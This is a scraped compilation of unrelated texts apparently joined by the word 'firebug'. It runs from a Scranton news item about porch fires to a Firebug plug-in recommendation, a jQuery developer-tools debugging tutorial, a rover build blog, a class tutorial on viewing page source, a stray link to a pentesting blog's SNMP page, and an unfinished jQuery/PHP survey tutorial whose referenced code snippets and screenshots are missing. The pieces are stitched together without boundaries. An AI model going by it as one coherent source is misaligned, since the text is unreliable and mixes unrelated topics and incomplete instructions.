SCRANTON- Fire crews were called out again for a fire on Quincy Avenue in Scranton.

Scranton police say someone torched some furniture on the porch of a home. Police believe this is the same firebug that is responsible for other fires throughout Scranton.

This is the eighth fire reported to police.

There was no damage to the home, the residents put the fire out themselves.

If you’ve never tried FireBug I strongly recommend you do. It’s a great plug-in for FireFox and Chrome to help you preview and test your CSS changes your website without affecting how your site looks like to other browsers.

Essentially it lets you edit the HTML and CSS on your site while it is live but only you on your local PC will see these changes. When you are happy with the changes you can copy the CSS code out and paste it into your real site and the changes will then be live for everyone to see.

You can download FireBug at http://getfirebug.com/. The intro video is a little dry and covers lots of stuff that may not be relevant for you, so check out this great intro video on editing CSS in FireBug:

jQuery and browser developer tools

p

The jQuery library makes client-side development a lot easier but by its nature there are many components (HTML, CSS, Ajax, JavaScript) that have to work together. And this makes it difficult to debug. Enter developer tools. All major browsers make one or more developer tools available to you. If you develop client-side code of any significance you absolutely need the support of such a tool. I currently do most of my client-side development using Google Chrome so I have become familiar with its native debugging capability. Of course when you are dealing with client-side development you cannot depend on just one browser or its tools. You should generally be testing your application on each of the major browsers you want or need to support. Fortunately the major debug requirements I am going to cover in this session have fairly similar capabilities across all major browser types (GC, IE9, Opera, Safari, and FF). I’m talking about their current releases.

This is by no means a in-depth look into any browser’s developer tool capabilities. Instead I am going to focus on where I find I use the tools most often. In essence I am going to point you to a tool window that will help you diagnose a problem. I’m not going to explain all of the buttons, most are self-explanatory nor will I provide detail examples. Assuming you will stumble where I stumble this will provide a good foundation that you can expand from as needed.

I’m going to start looking at debugging as it applies to simple jQuery code. You are all familiar with using the JavaScript ‘alert()’ function. With developer tools you have a new way to generate useful information at any point in your code that is a little less intrusive. Most alerts are flags to show us that we have reached a specific function or the value of a key variable at some point or the value of an argument we passed. All of these requirements can be delivered using the ‘developer tool console’ using this simple form of statement:

console.log(‘variable valResult is – ‘ + valResult);

The console in Google Chrome (GC) looks like this:

Note that GC gives you the file and the line number of the log message along with the value (true) of the variable at that point. The major benefit of ‘console.log()’ over ‘alert()’ is that there is no pause in the code. This can be very important with all of the asynchronous stuff we do with jQuery and client-side in general.

This and errors are pretty much all I use the console for. Anytime I have a JavaScript error in my code I receive a red dot with a number indicating the number of errors in the lower tight hand corner. In GC this would look like this:

You will have to click on the ‘All’ or ‘Errors’ buttons along the bottom of the window to get the information on the error. Again the tool provides the file and line number where the error occurred.

Clicking on the arrow icon to the left of the error message you can get a small trace of the logic flow just prior to the error.

Then clicking on the file and line number along the right you can go directly to the error in the source code, as follows:

And now we are in my favorite window in the tool. This is where I find and correct most of my logic errors. I’m going to expand the window to better see the features of the ‘source’ window. The main reason I come to this window is to view local variables, set watch expressions, set breakpoints, and to step through the script. This little window is a tremendous tool.

Lets start with setting breakpoints and stepping through the logic. These two always go together in my debugging sessions. I think we can all relate to getting lost in our logic from time to time. Everything looks right but the stupid thing is not working. Lets use this snippet of logic from a startSlideshow() function.

This just cycles through our thumbnails and triggers the necessary image logic to display the next image in sequence. Leave it to me to make a mess of something like this. Developer Tools to the rescue.

When I’m sick of noodling over a problem I generally go to the ‘source’ window in the GC tool and set a lot of breakpoints wherever I think the problem is. Note that you can set a single breakpoint and step through the logic but in jQuery this will take you into the jQuery library where you can step for five minutes before you get back to your code. If you want to stay with your code and skip all of the jQuery library stuff use breaks as shown above. I generally assume the jQuery works and mine does not. That has always been a good assumption. That is not to say you cannot learn a lot browsing the jQuery library, you can but there is a better time to do that.

Note the breakpoints that we have set show in the window to the right, each with its own checkbox. If we wish we can remove a breakpoint temporarily by removing the check from the checkbox. Now once we have set our breakpoints we execute the application and navigate to the problem area until we hit our first breakpoint. That should look something like this:

Look at all of this great information. We have passed the lines in the code where the $thumbs and thumb variables have been defined and we can see the results of those assignments in the window to the right. Clicking the little arrow to the left of the variable can provide you with a ton more information as shown here for our ‘thumb’ variable. Each arrow hides even more information.

This information not only helps me to debug my logic it often helps me understand the underlying principles of client-side programming.

To jump from one breakpoint to another you will use the execute icon (not the step icon) a bar followed by a right arrowhead (|>). I’ve got to warn you that it is easy to get lazy and go right to the tools when the logic isn’t firing right away. I fight this tendency. I think it leads to sloppy programming and a lot of refactoring, but do what works for you.

If you have variables that are not local you will have to create a watch expression as we did below for the ‘showTime’ variable. This variable represents our time interval event.

The options are endless.

Next lets take a look at the ‘Elements’ window. This is where I go when the logic looks to be working but I am not seeing the results I am looking for. This is where you often end up when the components are not all cooperating (CSS, jQuery, and HTML). The basic Element window looks something like this:

This is a great window. I may not need it as often as the ‘Sources’ window but I have used each of the dropdowns to the right with the exception of DOM breakpoints to great effect. To get a good feel for the window lets drill down in our document to a specific element.

Selecting an element from the DOM tree we can view in the right computed style for the selected div element. This is essentially the CSS styles as the rendering engine perceives them.

Then you have the Style attributes as shown in the panel to the right above. What I love about this panel is the ability to toggle on and off any of the attributes and see immediately the effect that attribute, in combination with the others, has on the display.

When you are trying to get elements positioned exactly on a page the Metrics panel is what you want. I cannot tell you how many times I have found a browsers default margin or padding has totally dorked up what I was trying to accomplish until I discovered the reason and created an override.

All and all this is the second most popular window for me.

The last window I am going to cover is the network window. When working with Ajax, I use this to confirm the information is being transmitted both ways correctly, allowing me to focus on all the other issues. I also use this window when working with code that deals with a lot of images. Lets start with a little Ajax.

Client-side we use Ajax to send data to and retrieve data from a Server, generally asynchronously. An Ajax request sent from the client to the server is known as an XMLHttpRequest or XHR for short. Below I sent ‘form data’ from the client to the server. As you can see our GC Network panel provides us with all sorts of information regarding the request. Not the least important of which is the status. The HTML status code 200 means success or OK. Though knowing that the Ajax call was a success does not necessarily mean that the communication was a success. Several things can go wrong with a transaction beyond the Ajax component, such as, corrupt data, SQL errors, DB errors, etc.

Yup this is good data but it’s not enough. You can get additional detail about any displayed XHR message by clicking on the file shown in the Name column. In this example you would click on ‘ajaxVolSave.php’ which represents the target for our form data (a Volunteer Form). Below my tab descriptions got truncated. They should read Headers, Preview, Response, Cookies, and Timing.

Starting with the Header tab we can see the Request Headers, Form Data, and Response Headers that were components of this transaction. I find form data to be especially important when first developing my Ajax logic. Clicking on the arrow head to the left of the ‘Form Data’ category I can view the detail of the data that was sent. In this example I sent an object and you can see the key/value pairs for each of the 15 properties.

Just like most debugging seeing the details is a great help. Now that we know the data has arrived correctly we can deal with the results. In this example both Preview and Response show the same information – the data that is being returned to the client. In this case I have created a response object that will tell the client procedure that made the call, if the complete process was a success. If an error occurred the error would be documented and returned to the client to be used as appropriate.

Now dealing with things like Images is a slightly different challenge. Images can cause problems for the User experience, generally because of their size. Depending on the number of images you are loading and the method used you may find the Network tabs information helpful when trying to minimize delays. Just like with an Ajax request (XHR) we can view the loading of our image files by clicking the ‘Images’ button along the bottom of the window from within the Network panel.

In the example above two images are retrieved from the server using the ‘Get’ method. Note that I am requesting these images from a localhost residing on my development machine. If you are using a share hosting service you may not get this kind of response. Indeed you will need to become familiar with not only your own User demand profile but those of the other sites that you share the server with.

A browser will cache an image once it has been retrieved and this should improve performance for future requests for the same image. Note the HTML status code 304 – indicating no change – is the standard response for retrieving from the cache. Sometimes you would prefer to look at the results without caching. To do this you open the GC Tools control window by clicking on the gear icon in the lower right corner of the window. Once opened you should see the following:

Place a check mark in the checkbox to disable the browser’s cache. Now when you next refresh the page the browser will again go to the server and retrieve all of the images needed for that page.

Safari uses the same embedded developer tool as Google Chrome though with some different styling. Here are the other major developer tools you will see as you test the application on the different browsers.

FIREBUG Developer Tool

Console – note use ‘console.info(‘ ‘);’ instead of ‘console.log(‘ ‘);’

Scripts in place of Sources

HTML in place of Elements

Net in place of Network

OPERA Developer Tool (Dragonfly)

Console

Scripts in place of Sources

Documents in place of Elements

Network

INTERNET EXPLORER 9 Developer Tool

Console

Script in place of Sources

HTML in place of Elements

Network

We have barely skimmed the surface of debugging and developer tools. I hope I have shown you enough to convince you that they are invaluable and are well worth the time it will take you to master them. If you want to program like a pro then you are going to need to understand and use the browser developer tools available to you.

The user forums are full of people asking questions that you just know they would not need to be asking if they used any of these great developer tools. I don’t resent their questions, I just wish they would make their own lives a little easier. I would not want to try and tackle a significant jQuery project without these tools. I actually predate these tools by quite a bit and though JavaScript was not used as heavily in those days, I can tell you debugging any non-trivial JavaScript adventure in the bad old days was not easy.

Enjoy.

Don

I’m in the process of building a new WordPress website.  Although I started out with a very helpful theme as a basis, quite a bit of code change has been required.  Firebug is a tool that integrates with Firefox web browser and I’ve found it incredibly helpful when needing to identify the pieces of code that need changing.  Firebug also helps you see changes to font sizes etc. in real-time before applying them.  I highly recommend it.  Thank you to the developers!

This rover was our robot in the competition of Magyarok a Marson 2011 (Hungarian on Mars). The competition was similar to a capture the flag game, with four rovers on the field at the same time.
We weren’t that experienced that time (and our budge was low) so the project failed. We were good in the first round but unfortunately at the second round some smoke has been made and the motorcontroller went to the robo-heaven. Also we smoked an 25A car fuse, yeah something was very bad in our design. We didn’t have the automatic control in time so we used the manual version. In this case we had to use 15 sec delay between two command to follow the rules. We started the blog roughly after two months to the competition. Here is a picture of the rover at that time.

After some talk we took action, and used Bence’s motor controller. It’s double channel so we can control 2 different motors completely but we plugged each side (a pair of motors) to each control so this way we can use four motors instead of just two.
Here are the videos and pics:

Too fast, one wheel went away
Testing the prototype controller
part 2

The motors are 24V. The motorcontroller is from ebay you can check one of it’s successors on the link below:

http://www.ebay.com/itm/High-Current-Stepper-Dual-DC-Motor-Driver-Module-PWM-Signal-Control-Board-/320967349902?pt=LH_DefaultDomain_0&hash=item4abb25168e

The BeagleBone was above all: wifi support, motor control, web interface.

The hardware consists of a lipo battery (5400 mah, 14,8v, serves a lot better than the 11.1V version), voltage stabilizator, motor controller, BeagleBone, wifi stick, usb hub, webcam.

Meet the revived rover: Firebug!

( http://en.wikipedia.org/wiki/Firebug)

In action:

Here are the tools for different browsers:

Develope tool  bar: IE browsers, chrome and safari

Firebug : firefox

These tools also helps in debugging the page code, tracking network of the page, verifies the execution time of javascript functions of a web page and check the memory distribution among the page’s javascript objects and related DOM objects.

Developer tool bar of  different browsers are

Developer tool for IE browser:

Firebug for Firefox:

Developer tool bar for chrome:

• View the source code of a web page.
• How to save a web page to your computer
• How to view a saved web page on your computer
• How to open a web page in your text editor
• How to view the CSS/Stylesheet for a web page
• How to inspect the HTML and CSS of a web page
• How to view and edit a web page at the same time

To begin this tutorial, have your web browser and text editor open on your computer. It does not matter which browser or text editor you are using. The process is basically the same.

How to view the source code of a web page

1. Go to a web page such as the test page for the class, Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class on the Clark Web Server.
2. Right click on an empty space on the web page and choose View Page Source or View Source.
3. The resulting popup window (or tab) will show you the underlying HTML structure of the page.
4. You may save this to your hard drive or go back and save the entire web page to your computer.

How to save a web page to your computer

1. Go to a web page such as the test page for the class, Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class on the Clark Web Server.
2. Right click on an empty space on the web page and choose Save Page As or Save As.
3. Choose a file name to remind you of the purpose or content of the page.
4. Save the web page to an appropriate spot on your computer’s hard drive, such as with the rest of your class materials.

How to view a saved web page on your computer

1. In a file manager, locate the HTML version of the page in the folder where you saved it.
2. You will find the HTML page file and a folder with the same name as the web page you saved. Images and supporting code and content are found in that folder.
3. Double click on the HTML page.
4. The page will appear in your browser tabs.

How to open a web page in your text editor

1. From within the Text Editor, choose File > Open, just as you would with a word processor.
2. In the file window, locate the HTML version of the page in the folder where you saved it.
3. Choose the file and click Open or Okay.
4. The result will not be the pretty web page but the HTML source code for the web page.
5. NOTE: If you choose to experiment and edit the web page, please save it with a different name or version number.

How to view the CSS/Stylesheet for a web page

1. From within the Text Editor, choose File > Open, just as you would with a word processor.
2. In the file window, locate the HTML version of the page in the folder where you saved it.
3. In the same folder or in the accompanying folder, look for a file with the extension .css. There may be multiple CSS files. Choose the one named styles.css, stylesheet.css, or another similar name.
4. Choose the file and click Open or Okay.
5. The result will be the CSS styles for the web page.
6. NOTE: If you choose to experiment and edit the stylesheet, please save it with a different name or version number.

How to inspect the HTML and CSS of a web page

Most web browsers come with some form of web developer tool built-in. You may also add web browser extensions to inspect the HTML, CSS, and underlying technologies of a web page. Check the browser documentation as well as the source documentation from the list below.

• Firebug
• Web Developer
• Google Chrome Web Developer Tools
• Internet Explorer Web Developer Toolbar

You can find more "secret" web development tools in an article by Andi Smith with tips on which ones are built-in and how to use them. Also check out 15 Helpful In-Browser Web Development Tools from Smashing Magazine.

How to view and edit a web page at the same time

1. Open your web browser and text editor.
   • If you have a large screen or more than one screen, move the web browser to one and the text editor to another.
   • If you do not have a large screen, use a keyboard shortcut like ALT+TAB or Command+TAB to quickly switch between them, or position the windows next to each other so they split the screen.
2. Open the file you wish to edit in the text editor and in the web browser (File > Open).
3. Make edits to the file in the text editor and save them.
4. Switch focus to the web browser and reload/refresh the web page (F5).
5. Continue making edits and switching to the browser to check your results.

Want to make this process even easier? 

In this tutorial on setting the text editor default in Firefox by SpiceWorks, you can view the page source and edit it in your text editor quickly and easily.

1. Open Firefox and type in about:config into the address bar.
2. Click that you will be careful
3. In the Filter or Search, type view_source.editor. Three items will be in the results.
4. Double click view_source.editor.external.
5. Change the value to TRUE by double clicking it or choosing to edit.
6. Double click view_source.editor.path
7. Change the path to that of your editor. If you are using Notepad++, it would be c:\Program%20Files%20(x86)\Notepad++\notepad++.exe. NOTE: Firefox does not like the spaces in between the letters. Use %20 instead of spaces. It may take some playing around with the link, but it does work.
8. Close Firefox and reload it.

Firefox should now be configured to open the page source in your text editor.

To use this feature, you can copy the HTML or CSS you wish to experiment with and paste it into your web page or a test page, or you can save it to your computer along with the web page to edit and experiment with it there. Or, if it is your own web page, make the appropriate changes and upload it to your server.

Other tutorials on how to do this include:

• View Webpage Source Code in Your Favorite Text Editor – Firefox – How-To Geek
• Tip: Change Default Text Editor in Fx | Firefox Extension Guru’s Blog

1 Feb 2012 – How much fun can you have with a hard hat?

https://myexploit.wordpress.com/information-gathering-snmp/

Love SNMP OR ‘MyExploitHQ

established 1441

Every so often a site shows itself to us direct, via a nudge or two. It’s good to be shown a new thing.

MyExploit welcome the Italian pentester, Please share your love and read scoperchiatore.wordpress.com

share a link day!

I

Implementing a Fallback Strategy Session

I

What is a fallback strategy? For me a fallback strategy is designing an application or feature so that if the User has disabled JavaScript in their browser the application or feature will still work using standard server-side logic. And if JavaScript is enabled the client-side logic will guide the process and much of the server-side logic will be bypassed. Toward this end I have created a survey that can be served up on any website to solicit user feedback. In this example the survey will be composed of six questions about on-line shopping. Because I wish to make this work for both users who have enabled and disabled JavaScript, the survey, should the User decide to participate, will take them to a PHP Controller file that will always manage the start and finish of the survey. This part cannot be bypassed. If you are not familiar with ‘Controller’ files in PHP see my session ‘PHP – Controller Template’.

I always start these PHP / jQuery combinations with the PHP components. Said another way, I create the code to support the server-side logic and when that works I create the client-side logic. I won’t bother to show all the server-side code just the pieces that are important in this dual approach (fallback strategy).

So the User has come to our site and clicked something which we intercepted and presented them an opportunity to participate is a short survey. If they decline we send them on to their original request if they accept we send them to our Survey Controller. As is always the case, my controller files have a default page representing the main page for the topic. In this case the Survey introduction – “include ‘/html/surveyIntroForm.html.php’;”

As said earlier this is the same for both the JavaScript enabled and disabled approach. After this initial page however the two approaches are quite different.

The following is a snippet of the HTML from the initial page. Pay particular attention to the first HTML form element. This is set to submit the form in the standard PHP controller fashion, i.e., back to the Controller file (index.php) that originally served the page. If JavaScript is disabled that is how the page will be submitted.

The ‘surveyQuest’ div element is only used in the client-side approach. When JavaScript is enabled, jQuery will load each question into this form between this ‘div’ element. Note that the Ajax load() method we will be using will automatically delete the current contents before inserting the new. More on this later.

Next you will note the ‘identify’ div element. This div is a container to hold some general sample frame questions and components that are only used in the pre-survey process. These sample frame questions will be removed once the jQuery process begins.

Next the ‘errMsg’ div element will be used to handle the only possible error in this survey design and that is the failure of the User to respond to the question. Note that for the server-side approach we embed PHP within the HTML using a Session variable ‘err’ to communicate a failure to respond. If jQuery is enabled we will place the error message in the ‘errMsg’ div element, between the ‘p’ elements. The PHP will simply be ignored because the Session variable will not have been set.

The submit ‘button’ element that follows is important because it will trigger the ‘submit’ event in the server-side logic or the ‘click’ event in the client-side logic. To work in the PHP (server-side) world the button must be within the HTML ‘form’ elements in the jQuery (client-side) world this is not required.

Finally there is a second form that will only be used client-side to exit us back to the PHP Controller file at the conclusion of the survey. The ‘ajaxForm’ form element will be triggered within our jQuery script. SaveOut will be triggered if the Ajax post method is successful and failOut if not. We will show you the jQuery logic that defines these events in a moment.

IN A PURELY CLIENT-SIDE (jQuery) APPROACH THIS IS THE ONLY HTML FORM WE WOULD NEED!

However, seeing that we are using a dual approach (client and server-side) we will take advantage to the server-side design to make our jQuery fairly simple. For this survey we will serve up each survey question as a single page or form. This is simple to duplicate in both approaches. Here is a snippet of one of the server-side Survey questions (HTML page). Note that HTML page wraps the question in a form so that we can submit and process the response with the PHP Controller file.

As you can see each page will have the same ‘errMsg’ div element to display a message in case the User fails to respond. Again we have embedded PHP into the HTML for the server-side validation process.

Next we again have a ‘button’ element but in this case the name and id are ‘Q2′ rather then ‘Q1′ as on the initial page. All of our survey submit buttons will follow the naming convention of capital letter followed by a single integer 1-8. This will be important in our jQuery logic.

NOTE the div class = ‘question’, we added this div element to isolate just the Survey question HTML, that we will want to use in our jQuery logic, from the rest of the page. That is the only customization that we needed to make in each of the HTML Survey question pages to accommodate our dual approach.

Now lets look at the PHP Controller file that will be managing the non-script approach. Again, if you are not familiar with the centralized approach of a Controller file please review – PHP – Controller Template - before continuing.

Our default form (web page) is always at the bottom of the Controller file without any conditional access.

The ‘Survey’ Class represents a convenience class that we created to carry the user responses to our survey questions. We assign it to a Session variable ‘survey’ so that it is available throughout the session. Then we simply load the initial form for the survey process. The initial form is purely PHP and will launch the client-side logic if JavaScript is enabled or server-side if it is not. The introduction to the survey process looks something like this:

Assuming that JavaScript is NOT enabled, when the user clicks the ‘Start Survey’ button element as shown in this HTML snippet:

they will be taken to the Controller file where the button elements name attribute will be passed back as a post variable of the same name (Q1). Once back in the Controller the logic will flow down until it satisfies this condition statement:

This is a standard Controller script segment which validates that the User answered the two survey frame questions and then loads the first survey question. If one or more of the survey frame questions was not answered the User is returned to the initial page with an error displayed via the session variable ‘err’, as this HTML snippet shows.

The logic to validate the prior page and present the next is encapsulated in the viewer function. This is not a session on PHP so I’m not going to explain the detail of what is happening there. If validation is passed the Survey question will be presented and appear something like this:

Each page as we progress through the survey has a different ‘button’ element (“Next>>>”). Question #1 as shown above has the following HTML snippet:

Which will trigger the next question and so on. That’s pretty much the extent to the server-side (PHP) logic.

Now lets examine how we could to the same thing using a combination of PHP and jQuery; in a predominantly client-side solution.

We begin by creating a custom JavaScript file that will contain our Survey specific jQuery logic. The same information could be included directly in the web page rather than as a file. Files are just easier to manage. To create a new ‘js’ file in the Netbeans IDE I select (highlighted) the folder I wish to create the file in (jQueryPak) and using the right mouse button to access the contact menu I select New / JavaScript file, as shown here:

Once the file is created we begin with the jQuery ready method!

The code inside the above .ready() method will only run once the page is ready. The dollar sign ($) is synonymous for jQuery, so ‘jQuery(document).ready(function() { … });‘ is the same thing! If you do not know these things stop now and read through my ‘jQuery Essentials Session’ before proceeding.

Before we actually begin to fill in code lets consider what we want to accomplish and what resources are available.

We want the survey to be presented one question at a time just as we did with the client-side. The questions should be presented in the same order and the same format. To do this we will use the individual pages from the server-side approach and extract the question HTML component. We want the question presentation to be smooth, fast, user friendly and perhaps include a bit of ‘pop’ in the form of an animation.

To start we need to determine how we are going to get the Survey questions. We already know where we are going to place them as we retrieve them using jQuery Ajax.

If you are using an older release of jQuery, as I am, you may not be able to use the ‘on’ method. So for this exercise I have used the ‘delegate’ method. Here is how the core event in the jQuery Survey logic is setup:

NOTE if you use the ‘on’ method, the syntax is slightly different – on( events, [selector], [data], handler(eventObject) ) from jQuery API. Which would translate to $(‘#surveyQuest’).on(‘click’, ‘button’, function(){ … });. The button and click are reversed.

As you can see I am selecting the div element id attribute (surveyQuest) and setting it up to receive ANY button click event, where the button is a descendent of the div element selected. This is important, it allows me to switch out the button for each survey question without having to reset the event binding. Of course we setup each survey page so that only a single ‘button’ element would appear within the ‘surveyQuest’ div container.

The next thing that I want to do is to prevent the default function from occurring. This is especially important because of our dual approach. If we fail to cancel the default action then after the jQuery script is completed the ‘submit’ event will fire and will send the form variables to the Controller file for processing. Totally dorking up the process. When you have a fairly complex event routine I strongly suggest you use the event object’s preventDefault function immediately. Some people prefer to end the routine with ‘return false;’ to cancel any default action, the problem with this is that if anywhere along the line an error occurs, it can cause the default action to fire.

Next we create a variable called ‘name’ which we assign the value ‘this.name’. In a jQuery delegate event handler as shown above, ‘this’ refers to the DOM element that initiated the event. In this example the HTML ‘button’ element that was ‘clicked’ by the User. NOTE WE SAID THE INITIATING ELEMENT NOT THE BOUND ELEMENT!

Its important to note that ‘this’ represents a DOM element and is NOT a jQuery Object. We therefore cannot use those handy jQuery methods on it. It is however a JavaScript object and that makes it possible to just use the JavaScript property ‘name’ for this element (button) as shown above. Note we could have also used the JavaScript method “getAttribute(‘name’)” as well. For a good on-line reference to JavaScript and go to Dottoro’s website – http://help.dottoro.com/ljraqvls.php, you will find most of the good stuff under ‘JavaScript / client-side / HTML DOM / objects / nodes and tags.

This session is about jQuery so I should be using jQuery where possible! So lets change the variable assignment from “var name = this.name;” to the jQuery equivalent that will yield the same result. Our variable assignment would now look like this: var name = $(this).attr(‘name’);. Notice what we have done. By wrapping our DOM element (represented by the ‘this’ keyword) in $() we have made it a jQuery object that can now access all of those great jQuery methods. Nice. But don’t lose sight of the fact that though you are using the jQuery library you still have access to client-side JavaScript!

The next line of code is a good example of using JavaScript along side jQuery. Here we use string manipulation to get just the last character of the DOM elements name. As we said earlier all of our Survey button names are a capital letter followed by the question number, i.e., Q1, Q2, Q3, … We set our index equal to the Survey question we are going to less one (-1). This index (idx) will then allow us to group all of the logic for validation, saving responses, and loading survey questions into separate functions. The var idx = (name.substr(-1))-1; statement simply takes the ‘name’ variable we created in the line above and using the ‘substr’ function grabs the last character in the string ‘.substr(-1)‘. It then subtracts one from that value and assigns it to the variable ‘idx’.

The next line then checks to make sure that the User responded to the question by checking one of the options or making an entry in a textarea (both forms of question are used in this survey). The result of the validation is then saved in the variable ‘valid’. The statement calls the function ‘isValidResponse(idx)‘ and passes the index (idx). The actual function looks something like this:

Again as you can see we are using JavaScript in the form of a switch condition statement to separate how we validate the questions presented to the User. I have changed the argument name from ‘idx’ to ‘qNum’ representing question number. The case ’0′ is therefore not a Survey question but the sample frame questions, of which there are two. The only time that two questions are presented on a single page and that is why it has a separate validation.

Lets take a look at the logic contained within case 0:. Note this logic will only be executed if the qNum argument equals 0. The first line has the variable ‘$ele’ being assigned the jQuery Object generated by the jQuery Function $(‘input:radio:checked’);. I image this selector ‘input:radio:checked’ confuses some of you. It is definitely more than your standard CSS. The first term is typical CSS i.e., ‘input’ represents all input elements on the page (whose display is not none). The other two terms are special jQuery filters and very handy they are. Essentially ‘:radio’ selects from the forms input elements those that are type = radio and the ‘:checked’ selects from those radio input elements only those that are selected. And because we have two sample frame questions we are looking for two responses. Anything else is an error.

Also note that the variable $ele is preceded by a dollar sign ($). It is common in jQuery to precede a variable with a dollar sign when it represents a jQuery Object as in the case above. This is not required but I strongly recommend that you apply this practice to your own code.

The next switch statement combines case 3 & 4. These are the two open ended questions that ask the User to enter their comments into a textarea element. In this case we wish to return the text content of the textarea element and that is what this jQuery Function does – $.trim($(‘textarea’).val());. Because the value assigned to the variable ‘val’ is a string we use the JavaScript ‘length’ property to determine if content has been entered. Note that we use the utility method ‘$.trim()‘ to remove any spaces at the beginning or end of the string.

The final and default switch statement will catch all the other ‘qNum’ arguments. That is any qNum arguments other than 0, 3, 4 which are otherwise handled. This is just like ‘case 0:‘ only in this case there should only be a single response so anything other than one is an error.

That completes the validation and brings us to a conditional branch in the script. If the validation failed i.e., if(!valid) then we use jQuery to add an error message to the page. Note that the bang operator (!) stands for not, as in not valid.

$(‘#errMsg p’).text(‘These questions require a response!’);

Notice that we are calling the div (id=errMsg) in our current document. That is each question we load has its own div id=”errMsg”. In this way we can use the same ‘id’ without violating the HTML specification. Note that it is possible to set the same ‘id’ to two different elements in the same document (web page). This can be very bad for jQuery. In my informal testing, the element that will actually be matched by a selector is the last one assigned that ‘id’. This would be the one closest to the bottom of the document. If at all possible avoid duplicate ids!

The embedded PHP is there to handle server-side but because we are using client-side the PHP is empty (the Session variable is not set). If you look at the generated source code when you load the initial form you will see something like this:

In our jQuery Function we are selecting the ‘p’ element whose ancestor has the id = ‘errMsg’. Then we use the ‘text’ method to add the text between the tags. Note that you cannot use the val() method with a paragraph (p) element. Also you cannot use the text() method with input elements, there you should use val(). The error would look something like this:

and the user will not be able to advance to the next question until they provide a response. This is the same behavior that was used in the server-side approach with the exact same appearance but far less complicated.

If the validation passes then we will save the Users response to a global variable. Our global variables should go at the top of our custom ‘js’ file before the jQuery ‘ready’ method. One variable for each question the User is asked to respond to would look something like this:

var qqq01, qqq02, qqq1, qqq2, qqq3, qqq4, qqq5, qqq6;

Note there are a couple of ways we could avoid using global variables like using a Module Pattern but those I’m going to save for another session. For this simple exercise global variables will do.

The saveResponse() function assignments are as follows:

The assignment statements are pretty straight forward. Like with validation, for the textarea responses we are still looking for values but with the radio type input instead of count we need the selected value. The ‘case 0′, because the User is responding to two questions needs to differentiate between the two so therefore must apply additional filtering using attribute.

With assignment complete we now wish to load the next Survey question in sequence. Here we call the ‘loadNextQuestion()’ function. This function looks something like this:

There are two things I want you to notice about the URL assignments; first they represent the Survey question we are going to and are therefore called by the prior question and second the load method syntax has the ability to include a selector after the URL. The second is vary important. In this example it allows us to just grab the actual question from the HTML page we used in the server-side solution i.e., ‘div.question’. Basically this selector says in the document represented by the URL, we want the div element with the class equal to ‘question’.

Once we have assigned the URL / selector to the variable myURL we then load the document component to the target container i.e., $(‘#surveyQuest’).load(myURL, function(){ … }. As you can see we use the jQuery Function to select the div container in our document with the id=surveyQuest, returning a jQuery Object that we use to call the ‘load()‘ method. The load method is an Ajax call and the simplest way to fetch HTML data from the server. You should be aware that the load method will automatically remove the content from its target container before inserting the retrieved data.

You will notice we have an anonymous function as the last argument of the ‘.load()’ method. This is a callback function. When the load is complete, this function is called. This is important because you cannot call any of the new elements in the document until this is true. So the code we place inside the callback (and anonymous) function, starts only after load completes.

The first thing we do after the load, is implement a little animation to fancy up the process. And as you can see we are using that ‘this’ reserve word again and once again we wrap it in the jQuery Function ($()) so that we can use it as a jQuery Object. If your not sure what ‘this’ represents in a given context you can always use Firebug or some other Browser Development Tool to check on it. For example here is what Firebug returns for ‘this’ in the line of code in question:

Probably just what you expected our survey question container (surveyQuest).

Now because we can treat $(this) as a jQuery Object we can use a couple of those handy methods. In this case we are going to animate the appearance of the survey question on the web page. This probably looks a little funny because we are following a load() method with a hide followed by a show. The load all by itself is enough to make the Survey question visible and indeed will if left alone. But by following a load immediately with a hide we keep the question from appearing on the page. If there were something between those commands I would worry that the question would appear then disappear then appear again. Not much chance of that here, hide is immediate unless a duration is entered as an argument.

After the animation, actually during the animation because we are not using the optional callback argument of the jQuery show() method we have three optional tasks that depend on the question number (qNum). If the question we are presenting (going to) requires the User to make an text entry we want to set focus, so that the User can immediately start typing. If we have just completed question #6 we know we are at the end of the survey and must set an exit method. That is what calling the exitSurvey() method does. There is what the method might look like.

Essentially after the User has responded successfully to question 6 we have to setup a click event handler. In this case when the User clicks ‘Exit’ on the ‘Thank You for Participating Form’ we prevent the default and call another function, this one to prepare the survey data we have communicated and send it to server (PHP file) which will then save it to a MySQL table. The final form looks like this:

But wait a minute wasn’t the ‘Exit’ button loaded into the survey question container (id=surveyQuest) like all the others before it? Yes it did. So why isn’t it triggering the click event that we delegated to the survey question container? That is shouldn’t this event capture the click – $(‘#surveyQuest’).delegate(‘button’,'click’, function(eve){ … }?  That would be true if we used a button element for the ‘Exit’ button but in this case we used a Input element submit type. Here is a snippet of the HTML for this element.

So when the User sees Survey Complete and clicks the ‘Exit’ button they trigger the event above ‘$(‘#exitSurvey’).click(function(eve)’ which calls the saveSurvey() function. The function looks something like this:

The saveSurvey() is the final function in jQuery! First thing that happens in this function is that the global variables that we have been assigning values to are nicely packaged as a plain JavaScript object. Note the syntax of the object (obj) is {property : value, property : value, … }, (where property is synonymous with key in this context). We create the object so that we can pass the information to PHP via jQuery Ajax for further processing.

That occurs in the next statement – $.post($(‘#saveURL’).val(), obj, function(status){ … }. Post is another one of those Ajax shortcut methods available in jQuery. Remember we used .load() earlier. With the post method we a sending three arguments. The first is the URL that will be called to process the Survey information we gathered using jQuery. To save this information to a MySQL table, we must first get it to PHP. So why do we have a jQuery Function in the place where the URL should be? Good question. We could have just entered the URL as we did earlier in the load function – myURL = ‘/html/surveyQuestionFour.html.php div.question’; – less the selector or course.

I chose not to do that so that you could see an alternative to hard wiring the URL into the jQuery script. In some cases, where you favor re-usability you will prefer to pass this information to the script. To do that we make use of a combination of PHP and the HTML document that we are working with. In the PHP Controller file we define the URL within the script that calls the document:

$saveUrl = ‘/’.$_ENV['siteRoot'].’/inc/ajaxSaveSurvey.php’;

I have seen this referred to as a ‘root-relative’ path. You see the PHP environment variable which represents the site’s top level folder preceded by a forward slash. By using an environment variable we gain some flexibility in that we can move this code to another project and reuse it as long as the ‘siteRoot’ is set properly. For more detail on setting an $_ENV['siteRoot'] see my session ‘PHP – Controller Template’.

We then incorporate this variable into the HTML as follows:

<input type=”hidden” id=”saveURL” value=”<?php echo $saveUrl; ?>” />

Note the embedded PHP variable in the value attribute! From our PHP Controller file we could manage all of our URLs and access them in jQuery via HTML. A fine idea if your focus is re-usability. Most occasional users aren’t, so most of you will find it more convenient to hard-wire. You can always refactor, though I’ve never found it as easy to do as say.

